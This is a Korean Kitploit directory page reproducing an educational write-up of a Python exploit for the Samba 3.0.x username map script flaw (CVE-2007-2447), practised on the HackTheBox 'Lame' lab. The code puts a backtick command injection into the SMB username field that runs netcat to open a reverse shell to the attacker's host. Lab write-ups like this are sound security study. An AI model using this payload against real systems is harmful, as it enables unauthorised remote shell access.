Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2007-2447 — Python SMB 클라이언트 페이로드 및 netcat 리버스 셸을 사용하는 Samba 3.0.20-3.0.25rc 사용자 이름 맵 스크립트 명령 실행 취약점 CVE-2007-2447에 대한 교육용 익스플로잇 구현입니다. | Kitploit
도구/GitHubGitHub/foudadev/cve-2007-2447
Vulnerability AnalysisExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access ToolPayload DevelopmentBinary ExploitationLabs & Practice
GitHubfoudadev/cve-2007-2447

CVE-2007-2447

Python SMB 클라이언트 페이로드 및 netcat 리버스 셸을 사용하는 Samba 3.0.20-3.0.25rc 사용자 이름 맵 스크립트 명령 실행 취약점 CVE-2007-2447에 대한 교육용 익스플로잇 구현입니다.

112년 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ExploitDev 여정 #6 | CVE-2007-2447 | Samba 3.0.20 < 3.0.25rc 'Username' map script' 명령 실행

원본 익스플로잇: https://www.exploit-db.com/exploits/16320

익스플로잇 이름: Samba username map script RCE
CVE: 2007-2447
랩: Lame - HackTheBox

설명

Samba 3.0.25 미만 버전에는 공격자가 SMB 서버에 사용자 이름으로 잘못된 형식의 요청을 보내 시스템 명령을 실행할 수 있게 하는 취약점이 있습니다.


동작 방식

다음은 nohup 명령을 사용하여 디렉터리를 생성하는 예시입니다:

프로그래밍 관점에서 /=는 일반적으로 루프에서 사용되는 나눗셈 대입 연산자를 의미합니다. 하지만 왜 여기서 이것을 사용해야 할까요?
그 이유는 요청을 보낼 때 도메인 필드와 사용자 이름 필드를 나누기 위해서입니다. 자세한 설명은 여기에서 볼 수 있습니다. 사용자 이름 필드를 사용해 netcat 연결을 열고 우리 서버에 연결합니다.


익스플로잇 작성

익스플로잇 작성은 매우 쉽습니다. Python용 SMB 클라이언트 라이브러리가 이미 있기 때문입니다( 패키지 설치). 따라서 다음과 같이 사용하기만 하면 됩니다:

python3-samba
root@kitploit:~
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')

try:
    print("Sending payload")
    conn.connect(rhost, rport, timeout=10)
except Exception as e:
    sys.exit(e)

SMBConnection이 어떻게 동작하는지 알아봅시다. username은 제공했지만 나머지 빈 문자열 3개는 무엇일까요?
나머지 3개의 인자는 password, my_name 및 remote_name입니다.

익스플로잇을 읽기 쉽게 만들기 위해 인자와 값을 명시적으로 작성할 수 있지만 username 이후 인자들의 값은 필요하지 않습니다:

root@kitploit:~
conn = SMBConnection(username=username, password='', my_name='', remote_name='')

다음 부분은 이해하기 쉽습니다. SMBConnection 클래스의 인스턴스를 사용해 연결하고 대상의 IP, 포트, 그리고 초 단위 타임아웃 값을 제공합니다:

root@kitploit:~
conn.connect(rhost, rport, timeout=10)

마무리

이번 익스플로잇 개발 세션에서는 SMB 클라이언트를 만들고 SMB 서버에 연결하는 방법을 배웠습니다. 또한 나중에 실험해볼 수 있는 nohup과 같은 Linux 명령에 대해서도 배웠습니다. 피해자 머신에서 netcat을 사용해 공격자 머신으로 연결하는 방법을 배웠으며, 이는 익스플로잇 개발 여정에서 유용하게 쓰일 수 있습니다.

도구 다운로드